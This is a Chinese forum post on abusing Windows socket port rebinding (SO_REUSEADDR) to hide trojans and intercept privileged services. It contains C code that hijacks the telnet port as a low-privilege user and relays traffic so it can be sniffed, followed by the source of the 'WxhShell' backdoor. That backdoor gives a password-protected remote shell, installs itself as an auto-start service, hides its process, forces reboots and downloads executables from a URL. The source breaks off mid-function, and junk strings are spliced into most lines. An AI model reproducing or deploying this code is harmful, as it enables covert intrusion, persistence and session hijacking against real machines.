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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [Ch)6p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `h>a2   
Q -!,yCu  
  saddr.sin_family = AF_INET; @A_bZQ@  
DriJn`vtzq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E|(T(4;  
s&<6{AU(id  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); na;U]IK  
Q-3o k7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :N \j@yJK  
? 1OZEzA!  
  这意味着什么?意味着可以进行如下的攻击: /B $9B  
2;Ij~~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2VrO8q(  
J33enQd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xndgs}zz  
mVg$z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hh_Yd)  
d-=RS]j;j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wj-=#gyAoo  
}9&Z#1/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @a08*"lbp  
2yu\f u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _vQtV]  
#1INOR9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5B&#Sh`r  
j-e gsKR  
  #include wA+QUN3#n  
  #include O "jX|5  
  #include U*G8 }W  
  #include    Y#>'.$ (Az  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C@{#OOa  
  int main() wABaNB=9;  
  { h L 1q9%  
  WORD wVersionRequested; *hhPCYOm  
  DWORD ret; LL|uMe"Jb  
  WSADATA wsaData; qSB]Zm<  
  BOOL val; HLL[r0P`F  
  SOCKADDR_IN saddr; 'y(;:Kc  
  SOCKADDR_IN scaddr; ea"!:cL(g  
  int err; ?;s}GpEY:  
  SOCKET s; njbEw4nX  
  SOCKET sc; ^BDM'  
  int caddsize; a J%&Y5L  
  HANDLE mt; %?GLMf7)  
  DWORD tid;   RoV^sbWFt  
  wVersionRequested = MAKEWORD( 2, 2 ); V/X4WZs|i  
  err = WSAStartup( wVersionRequested, &wsaData ); k<aKT?Ek>  
  if ( err != 0 ) { cs'ylGH  
  printf("error!WSAStartup failed!\n"); (=hXt=hZ  
  return -1; Xz,-'  
  } >zYO1.~  
  saddr.sin_family = AF_INET; :xn/9y+s  
   S7{L-"D =y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~FnB!Mh}?  
v!\\aG/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <M(Jqb cWa  
  saddr.sin_port = htons(23); i%1ny`Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Ocd2T'  
  { ikr|P&e#u  
  printf("error!socket failed!\n"); koi QJdK  
  return -1; gk"0r\Eq  
  } L*;XjacI]  
  val = TRUE; O}4(v#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7MRu=Z.-b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OQ[E-%v1 R  
  { t7A '  
  printf("error!setsockopt failed!\n"); KC+C?]~M  
  return -1; qTbY'V5A  
  } 1ga-8&!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >Oary  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c,cc avv{I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }( x|  
']nB_x7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ``%uq)G=D  
  { W<J".2D  
  ret=GetLastError(); Kd 2?9gaw  
  printf("error!bind failed!\n"); <ej Wl%4  
  return -1; ")J\} $r  
  } r?{$k3Vl  
  listen(s,2); 3Uzb]D~u  
  while(1) $U,`M"  
  { fZoV\a6Kj  
  caddsize = sizeof(scaddr); Dj=OUo[[d  
  //接受连接请求 "qL4D4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DU_38tz  
  if(sc!=INVALID_SOCKET) Hwr# NKz-  
  { kbqG)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )_*<uSl  
  if(mt==NULL) d2b  L_  
  { Vb${Oy+  
  printf("Thread Creat Failed!\n"); PQl a-  
  break; Mx ?{[zT"  
  } Sq9I]A  
  } \/rK0|2A  
  CloseHandle(mt); O>zPWVwa  
  } I y?_2m  
  closesocket(s); F-!,U)  
  WSACleanup(); #+mt}w/  
  return 0; w28!Yj1Q  
  }   }*WNrS">S  
  DWORD WINAPI ClientThread(LPVOID lpParam) )` nX~_'p  
  { ]=2wQ8  
  SOCKET ss = (SOCKET)lpParam; )@-v6;7b0  
  SOCKET sc; _%g}d/v}pO  
  unsigned char buf[4096]; UQGOCP_  
  SOCKADDR_IN saddr; "][MCVYP  
  long num; UjmBLXz@T  
  DWORD val; y`"~zq0D  
  DWORD ret; ~7Ji+AJA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PJC[#>}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !Vtt.j &4  
  saddr.sin_family = AF_INET; 1WGcv O)<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kcy?;b;z  
  saddr.sin_port = htons(23); Pn)^mt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^;J@]&[ ~  
  { l0c ws`V  
  printf("error!socket failed!\n"); zCrDbGvqF`  
  return -1; @@L@r6  
  } f wN  
  val = 100; ahagt9[,:F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AJ'YkSg  
  { R[eQ}7;+  
  ret = GetLastError(); E?c)WA2iH  
  return -1; Vp =  
  } 1}#(4tw)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >>lT-w  
  { cswX?MN  
  ret = GetLastError(); FhJ8}at+e  
  return -1; ~z)diF<  
  } :t &ib}v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R|PFGhi6"A  
  { p5<2tSD  
  printf("error!socket connect failed!\n"); (2H e]M\  
  closesocket(sc); fH_G;#q  
  closesocket(ss); xPa>-N=*  
  return -1; {^TVZdw  
  } O.7Q* ^_  
  while(1) jEQr{X7bEL  
  { x`'2oz=,F4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IY@)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j%%l$i~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3L24|-GxH  
  num = recv(ss,buf,4096,0); &5&C   
  if(num>0) )^+v*=Dc-i  
  send(sc,buf,num,0); '}a[9v76  
  else if(num==0) }s;W{Q  
  break; ># FO0R  
  num = recv(sc,buf,4096,0); Lp\89tB>  
  if(num>0) &]VCZQL  
  send(ss,buf,num,0); qzv$E;zAl  
  else if(num==0) g%z?O[CN  
  break; r>+Hwj0>  
  } H \ $04vkR  
  closesocket(ss); kc&>l (  
  closesocket(sc); RulZh2C  
  return 0 ; F{*S}&q*)o  
  } 'L#qR)t  
du2q6"  
iqecm]Z0  
========================================================== (5@9j  
5MJ`B: He+  
下边附上一个代码,,WXhSHELL w7Nb+/,sg  
1Yt;1k'  
========================================================== h,Y MR3:X  
L]{ 1"`#  
#include "stdafx.h" $KL5Z#K  
Zmf\A  
#include <stdio.h> csTX',c  
#include <string.h> OZ?4"1$.t  
#include <windows.h> [3`T/Wm  
#include <winsock2.h> {Y{*(5YV  
#include <winsvc.h> Ya] qo]  
#include <urlmon.h> b&uo^G,  
G!~[+B  
#pragma comment (lib, "Ws2_32.lib") <wwcPe}  
#pragma comment (lib, "urlmon.lib") D$k40Mz  
% R~9qO  
#define MAX_USER   100 // 最大客户端连接数 ^6v ob  
#define BUF_SOCK   200 // sock buffer ^ri?eKy.-g  
#define KEY_BUFF   255 // 输入 buffer )i&9)_ro  
t?^C9(;6  
#define REBOOT     0   // 重启 sMAc+9G9k  
#define SHUTDOWN   1   // 关机 $rf4h]&<  
dbGW`_zQ4  
#define DEF_PORT   5000 // 监听端口 }?B=R#5  
Ww*='lz  
#define REG_LEN     16   // 注册表键长度 ocwRU0+j  
#define SVC_LEN     80   // NT服务名长度 R4,j  
^.Y"<oZSS  
// 从dll定义API >LxYP7M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jqHg'Fq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X#mm Z;P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z(AI]wk3<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 11}fPWK  
70! &  
// wxhshell配置信息 Oqzz9+  
struct WSCFG { }9fH`C/m  
  int ws_port;         // 监听端口 gH- e0134%  
  char ws_passstr[REG_LEN]; // 口令 DB'pRo+U  
  int ws_autoins;       // 安装标记, 1=yes 0=no }J t( H  
  char ws_regname[REG_LEN]; // 注册表键名 <Gzy*1 Q&  
  char ws_svcname[REG_LEN]; // 服务名 m`UNdFS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z~o*$tF/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k))*Sg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'j=7'aX>K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TDg#O!DUF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JDVMq=ui  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "H>L!v  
;J pdnV  
}; q4vu r>m6  
10 dVV[=  
// default Wxhshell configuration 6~\z]LZ  
struct WSCFG wscfg={DEF_PORT, uf,4GPo,  
    "xuhuanlingzhe", N$J)Ow  
    1, a#W:SgE?Y  
    "Wxhshell", wL,b.]  
    "Wxhshell", p~M1}mE  
            "WxhShell Service", fAWjk&9  
    "Wrsky Windows CmdShell Service", ,YFuMek  
    "Please Input Your Password: ", We3*WsX\  
  1, GqhnE>  
  "http://www.wrsky.com/wxhshell.exe", Y?hC/ 6$7  
  "Wxhshell.exe" p2|c8n==  
    }; B?c9cS5Mj  
zcItZP  
// 消息定义模块 W5?F?Dp!v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZjY_AbD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w[PWJ! <  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HbF.doXK  
char *msg_ws_ext="\n\rExit."; jzc/Olb  
char *msg_ws_end="\n\rQuit."; H n+1I  
char *msg_ws_boot="\n\rReboot..."; ByeyUw  
char *msg_ws_poff="\n\rShutdown..."; PPT"?lt*&  
char *msg_ws_down="\n\rSave to "; )NZ6!3[@  
I ,Q"<? &  
char *msg_ws_err="\n\rErr!"; >L/Rf8j&  
char *msg_ws_ok="\n\rOK!"; !o &+  
9"R]"v3BA  
char ExeFile[MAX_PATH]; O!='U!X@P  
int nUser = 0; 9}kN9u  
HANDLE handles[MAX_USER]; BR\% aU$u  
int OsIsNt; {s|rk  
35Nwx<  
SERVICE_STATUS       serviceStatus; wJh|$Vn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sd\>|N?'  
W<TW6_*e  
// 函数声明 ~u1ox_v`%(  
int Install(void); V ?3>hQtB  
int Uninstall(void); [.B)W);  
int DownloadFile(char *sURL, SOCKET wsh); _lb ^  
int Boot(int flag); 12Qcjj%F*  
void HideProc(void); ]9)pFL  
int GetOsVer(void); 5bFE;Y;  
int Wxhshell(SOCKET wsl); *=0Wh@?0  
void TalkWithClient(void *cs); &$  F0  
int CmdShell(SOCKET sock); ayyn6a8  
int StartFromService(void); YE&"IH]lF  
int StartWxhshell(LPSTR lpCmdLine); La? q>  
` 1DJwe2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2;%DE<Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VE^NSk Oa&  
_:0<]<x?  
// 数据结构和表定义  }5bh,'  
SERVICE_TABLE_ENTRY DispatchTable[] = I#@iA!  
{ #(h~l> r  
{wscfg.ws_svcname, NTServiceMain}, noe1*2*TE  
{NULL, NULL} T^N Y|Y/  
}; ,5'LbO-  
oM-{)rvQd  
// 自我安装 &/R@cS6}'  
int Install(void) C.s{ &  
{ dv-yZRU:  
  char svExeFile[MAX_PATH]; (?xGl V`n  
  HKEY key; Y5=~>*e  
  strcpy(svExeFile,ExeFile); !U}A1)  
,T"pUeVJ  
// 如果是win9x系统,修改注册表设为自启动 ]P$8# HiX  
if(!OsIsNt) { cO<]%L0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b$[_(QUw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (.P;VH9R\  
  RegCloseKey(key); y&9S+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _)2.#L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l9 )iLOj  
  RegCloseKey(key); j>eL&.d  
  return 0; MLY19;e  
    } >1a- }>r  
  } hxx,E>k  
} _`/0/69  
else { wQ!~c2a<8  
#`:s:bwM:  
// 如果是NT以上系统,安装为系统服务 2ko7t9y&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tu77Sb  
if (schSCManager!=0) +-'qI_xo  
{ x@2rfs  
  SC_HANDLE schService = CreateService  ?1r@r  
  ( 7GfgW02  
  schSCManager,  wxsJB2  
  wscfg.ws_svcname, COFs?L.`  
  wscfg.ws_svcdisp, ]l+Bg;F#V  
  SERVICE_ALL_ACCESS, EVNTn`J_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B+);y  
  SERVICE_AUTO_START, )(*A1C[  
  SERVICE_ERROR_NORMAL, Di9yd  
  svExeFile, D/V. o}X$  
  NULL, 8_>\A= E  
  NULL, :84ja>`c  
  NULL, Y+iC/pd  
  NULL, G#5Cyu<r!  
  NULL lZ0+:DaP2  
  ); T;GBZR%  
  if (schService!=0) V-A^9AAPm  
  { a%tm[Re  
  CloseServiceHandle(schService); `NXyzT`:K  
  CloseServiceHandle(schSCManager); dpZ7eJ   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BArsj  
  strcat(svExeFile,wscfg.ws_svcname); nen6!bw4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dVVeH\o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b-]E -$Uz  
  RegCloseKey(key); oHI~-{m3)  
  return 0; ro@Zbm;P  
    } #i ?@S$  
  } f Otrn  
  CloseServiceHandle(schSCManager); |C'w] QYm  
} i0-!!  
} j6Jz  
rRcfZZ~` M  
return 1; ~0ZEnejy  
} D\(,:_ge  
?*}76u  
// 自我卸载 MP[v 9m@  
int Uninstall(void) HCHP15otfe  
{ E}k#-+u<S4  
  HKEY key; eN/s W!:P|  
{9;~xxTo  
if(!OsIsNt) { v7Knu]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <ofXNv;`  
  RegDeleteValue(key,wscfg.ws_regname); E=~H,~  
  RegCloseKey(key); dr~MyQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Q!:0D*  
  RegDeleteValue(key,wscfg.ws_regname); f*XF"@ZQV  
  RegCloseKey(key); z$7YC49^  
  return 0; +Jt"JJ>%k  
  } TzPx4L6?  
} j`,;J[Zd`h  
} Q)#<T]~=  
else { ;T#t)oV  
HZ 8 j[kO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UgJlXB|a%2  
if (schSCManager!=0) ~(aq3ngo.  
{ 8S]Mf*~S'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Da-F(^E  
  if (schService!=0) kUP[&/Lc  
  { Pdf_{8 r  
  if(DeleteService(schService)!=0) { sB0+21'R  
  CloseServiceHandle(schService); ?jqZeO#W7  
  CloseServiceHandle(schSCManager); ivoPl~)J  
  return 0; ~e{2Y%  
  } *!Am6\+  
  CloseServiceHandle(schService); <$?:|  
  } $k'f)E  
  CloseServiceHandle(schSCManager); {!N4|  
} &=HM}h  
} #cdLg-v  
GZZLX19s q  
return 1; |]GEJUWtCd  
} '0t j2  
ljiq+tT  
// 从指定url下载文件 > 7;JZuVo  
int DownloadFile(char *sURL, SOCKET wsh) *}/xy SH3  
{ I,YGm  
  HRESULT hr; tH_# q"@)  
char seps[]= "/"; 44%H? ,d  
char *token; "VT5WFj  
char *file; P*aD2("Z  
char myURL[MAX_PATH]; EAY9~b6~c  
char myFILE[MAX_PATH]; {q}: w{x9u  
3M%EK2,  
strcpy(myURL,sURL); _KZ(Yq>SdY  
  token=strtok(myURL,seps); ="A[*:h C"  
  while(token!=NULL) bzJKoxU  
  { an5Ss@<4AA  
    file=token; A:D\!5=  
  token=strtok(NULL,seps); *s%s|/  
  } 6,@M0CX  
G!rcY5!J  
GetCurrentDirectory(MAX_PATH,myFILE); 3\4Cg()  
strcat(myFILE, "\\"); >hQR  
strcat(myFILE, file); +vU.#C_2  
  send(wsh,myFILE,strlen(myFILE),0); -g@pJ^>:  
send(wsh,"...",3,0); hA@X;Mh^w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W/\7m\ B  
  if(hr==S_OK) 66|lQE&n  
return 0; M  j5C0P(  
else ZzKn,+  
return 1; BbU&e z8P  
{#[a4@B0  
} "Q/3]hc.  
=pk'a_P 8-  
// 系统电源模块 CC)9Ks\  
int Boot(int flag) y.O? c &!  
{ A%GJ|h,i  
  HANDLE hToken; IcQ?^9%{  
  TOKEN_PRIVILEGES tkp; #e|eWi>  
iEU(1?m2-  
  if(OsIsNt) { Etl7V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '@fk(~|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &>s(f-\8  
    tkp.PrivilegeCount = 1; AoR`/tr,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &a|oJ'clz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TM"-X\e~{  
if(flag==REBOOT) { ^-ACtA)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iF%q 6R  
  return 0; SHGO;  
} Fx@ {]  
else { :EO}uP2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r! M2H {  
  return 0; |SxEJ  
} 7q\c\qL  
  } NNfCJ|  
  else { 5G!X4%a  
if(flag==REBOOT) { ;=7z!:)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~'U;).C  
  return 0; uZYeru"w  
} <]9MgfAe  
else { lyi}q"Kn*;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G{"1  I  
  return 0; %b*%'#iK  
} JJ+<?CeHD  
} [-CG&l2?L  
I#Bz UF  
return 1; $bo^UYZ6  
} 2Z97Tq  
,S5#Kka~a  
// win9x进程隐藏模块 2tbqmWw/s  
void HideProc(void) :J~j*_hZ  
{ bo*q{@Ue  
m!2Dk#t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O<E0L&4-&  
  if ( hKernel != NULL ) yp4G"\hN9  
  { 0GR9opZtA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +/X'QB$R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =QC^7T  
    FreeLibrary(hKernel); e"2QV vB  
  } FjydEV  
zm"\D vN)  
return; J{Ay(  
} Cn55%:  
[x)e6p)  
// 获取操作系统版本 OMZT\$9yT  
int GetOsVer(void) m3WV<Cbz  
{ w\mF2h  
  OSVERSIONINFO winfo; N<{ `n;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BmM,vllO  
  GetVersionEx(&winfo); 7^iAc6QSy3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xL BG}C  
  return 1; %b?Pasf.  
  else em]K7B=  
  return 0; K$ &wO.  
} gP<_DEd^`  
,YY#ed&l  
// 客户端句柄模块 '-vy Q^  
int Wxhshell(SOCKET wsl) n~ql]Ln  
{ [v`4OQF/  
  SOCKET wsh; \1!k)PZdTW  
  struct sockaddr_in client; ;1dz?'%V  
  DWORD myID; /'1y`j<  
v<SEGv-  
  while(nUser<MAX_USER) IBqY$K+l  
{ /OP*ARoC21  
  int nSize=sizeof(client); 'l:2R,cP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cm4 *sN.&)  
  if(wsh==INVALID_SOCKET) return 1; A1q^E(}O  
P&GZe/6Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #SYWAcTkO}  
if(handles[nUser]==0) sfV.X:ev  
  closesocket(wsh); =l(JJ  
else m@@QT<  
  nUser++; HFr3(gNj@  
  } Wy4^mOv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >S!DIL  
OGFKc#  
  return 0; !.9vW&t  
} =F&RQ}$   
[*G2wP[$  
// 关闭 socket 2UF94  
void CloseIt(SOCKET wsh) mc'p-orAf  
{ @"!SU' *  
closesocket(wsh); q(7D8xG;F  
nUser--; :/NN =3e  
ExitThread(0); u\xm8}A  
} `$H   
M@kZ(Rkv  
// 客户端请求句柄 =dBrmMh  
void TalkWithClient(void *cs) HWhKX:`l  
{ a,~P_B|@  
m'tk#C  
  SOCKET wsh=(SOCKET)cs; ak>NKK8P  
  char pwd[SVC_LEN]; 1 =<|h  
  char cmd[KEY_BUFF]; ,*[LnR  
char chr[1]; 0f^.zt{T  
int i,j; \DqxS=o;  
vI'>$  
  while (nUser < MAX_USER) { ~-`02  
Bs?F*,zDJ  
if(wscfg.ws_passstr) { |esjhf}H>v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V+24-QWh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QNXxpoS#  
  //ZeroMemory(pwd,KEY_BUFF); 8~E)gV+v  
      i=0; ;#9| l=  
  while(i<SVC_LEN) { K]8wW;N4  
l*Ei7 |Z  
  // 设置超时 <&:&qn gg  
  fd_set FdRead; 8>q% 1]X  
  struct timeval TimeOut; P@YL.'KU)  
  FD_ZERO(&FdRead); + nS/jW  
  FD_SET(wsh,&FdRead); fZ}Y(TG/  
  TimeOut.tv_sec=8; %>2t=)T  
  TimeOut.tv_usec=0; ?MM3LA! <  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); df *#?Ok  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .4> s2  
/zf>>O`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v4_OUA>z,  
  pwd=chr[0]; h)8+4?-4 I  
  if(chr[0]==0xd || chr[0]==0xa) { AJfi,rFPg  
  pwd=0; `uVW<z{ l  
  break; k{jw%a<Sc  
  } cl{W]4*$  
  i++; k_<{j0z.  
    } X3{1DY3@u  
i8_x1=A  
  // 如果是非法用户,关闭 socket *"FLkC4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2?iOB6  
} _M[[vXH  
WgJAr73 l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %D(prA_w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DXW?;|8)O  
8$ZSF92C  
while(1) { wp.e3l  
9}cuAVI  
  ZeroMemory(cmd,KEY_BUFF); /}`/i(k  
w"agn}CK  
      // 自动支持客户端 telnet标准   / 7XdV  
  j=0; ~e77w\Q0  
  while(j<KEY_BUFF) { v\(m"|4(i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m}[~A@qD  
  cmd[j]=chr[0]; jne9=Als5  
  if(chr[0]==0xa || chr[0]==0xd) { 6BU0hV  
  cmd[j]=0; mqk(UOK`  
  break; ' P`p.5nH  
  } Xm:=jQn  
  j++; iWM7, =1+  
    } c4>sE[]  
.xkV#ol  
  // 下载文件 KHecc/,,S  
  if(strstr(cmd,"http://")) { #oJbrh9J6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yF5  
  if(DownloadFile(cmd,wsh)) ht3T{4qCS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:X|R#d  
  else * \o$-6<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N~; khS]  
  } hLbT\J`I  
  else { %}MA5 t]o  
;%7XU~<a  
    switch(cmd[0]) { QHs:=i~VH  
  &1E~ \8U  
  // 帮助 MIlCUk  
  case '?': { >9<8G]vcH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O%K?l}e  
    break; @=NVOJy}c  
  } e*2&s5 #RT  
  // 安装 (Ef2 w[ '  
  case 'i': { B_"OA3d_  
    if(Install()) NnLhJPh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/hi~. D9  
    else ~26s7S}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %rDmW?T  
    break; '+!S|U,{  
    } oIvnF:c  
  // 卸载 lii ]4k+z  
  case 'r': { x1:Pj  
    if(Uninstall()) 52MCUl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7t-*L}~WA  
    else `@$"L/AJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B}q  
    break; ?$J7%I@  
    } |c oEBFG  
  // 显示 wxhshell 所在路径 MeI2i  
  case 'p': { &@W4^- 9  
    char svExeFile[MAX_PATH]; 2&gVZz  
    strcpy(svExeFile,"\n\r"); !/4 V^H  
      strcat(svExeFile,ExeFile); Lk`k>Nn)  
        send(wsh,svExeFile,strlen(svExeFile),0); &=z1$ih>2\  
    break; o7Cnyy#:  
    } lv00sa2z  
  // 重启 F8S~wW=\w  
  case 'b': { N{^>MRK=5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <RoX|zJw  
    if(Boot(REBOOT)) 20/P M9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i|c`M/) h:  
    else { ST: v3*  
    closesocket(wsh); JMirz~%ib  
    ExitThread(0); pY)j0tdd  
    } jA-5X?!In  
    break;  hmBnV  
    } \za5:?[xB  
  // 关机 r%y;8$/-  
  case 'd': { mo|PrLV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7~kpRa@\P  
